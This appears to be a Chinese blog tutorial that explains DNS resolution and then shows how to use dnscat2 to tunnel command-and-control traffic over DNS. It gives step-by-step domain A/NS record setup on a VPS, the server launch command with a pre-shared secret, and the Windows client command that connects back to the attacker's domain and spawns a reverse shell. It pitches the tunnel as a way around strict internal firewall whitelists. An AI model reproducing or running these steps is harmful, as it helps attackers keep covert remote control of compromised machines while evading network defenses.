DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有 A,AAAA,CNAME,MX,SOA,NS 等;
DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。
Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。
0x02 dnscat2 介绍dnscat2是一款开源的DNS隧道工具,通过DNS协议创建加密的命令和控制通道(C&C通道),通过预共享密钥进行身份验证。DNS查询类型(TXT、MX、CNAME、A、AAAA) ,默认TXT、CNAME、MX随机混合使用,dnscat2分为服务端和客户端,客户端是有windows版和Linux版,服务端使用Ruby语言编写的。
dnscat2是一个命令与控制的工具,隧道模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向IP地址的DNS服务器发起DNS解析请求;
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器;(缺点:速度慢)
如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,并通过UDP53端口进行通信,在请求日志中,所有的域名都是以dnscat开头的,所以防火墙很容易就将直连模式的通信流量检测出来。
0x03 dnscat2 应用场景在严格的内网环境中,安全策略设置的严谨,常见的 C&C 通信端口会被许多安全设备所监控。该网段只允许设定的白名单流量出站,其他端口都被屏蔽,此时的 C&C 通信隧道无法正常建立,此种情景下,可以通过使用dnscat2建立隐蔽隧道进行通信。
0x04 dnscat2 特点->支持多个会话
->流量加密
->使用密钥防止MiTM攻击
->在内存中直接执行PowerShell脚本
->隐蔽通信
一、部署域名解析
首先,需要有一台公网VPS作为 C&C 服务器,并准备一个域名,去配置域名的记录, 先创建一个 “A” 记录,将自己的域名(NS记录类型的记录值)解析到VPS服务器地址,然后创建NS记录,将NS的主机记录名指向记录值。
A类解析是在说明 xxx.xxx.xyz的IP地址是 VPS地址
NS解析是在说明 想知道 xxx.xxx.com的IP地址,直接去问 xxx.xxx.xyz
这里为什么要设置NS类型的记录,因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器。
设置完成后本地进行验证域名解析是否设置成功!
ping域名看IP地址是否为VPS的IP地址,如果是,则证明A类解析设置成功并生效;
再来测试NS类型解析是否可用,在VPS上使用tcpdump进行监听
命令:tcpdump -n -i eth0 udp dst port 53
本地输入如下命令:nslookup+域名
NS类型解析设置成功!
二、安装dnscat2服务端
GitHub下载地址[点击前往]
在VPS上安装dnscat2服务端
Apt-get install gem Apt-get install ruby-dev Apt-get install libpq-dev Apt-get install ruby-bundler
中继模式建立隧道
运行dnscat2服务端
sudo ruby dnscat2.rb xxx.xxx.xyz -e open -c password --no-cache
windows作为客户端,下载 windows 版本dnscat2
下载地址:[点击前往]
本地运行测试是否可以连通
可以看到客户端运行,服务端收到请求!
使用命令反弹Shell
dnscat2-v0.07-client-win32.exe --dns domain=xxx.xxx.xyz --secret password
服务端显示已成功收到 Session New windows created:1
然后执行下面命令
查看帮助命令
弹计算器
执行shell ,就会反弹一个 shell 过来,然后执行 suspend 返回上一层,输入sessions 查看,切换到对应的 shell 编号,就可以执行cmd命令了
也可使用powershell脚本进行dnscat2隧道建立
下载地址:[点击前往]
点个赞! 收藏一下 ~



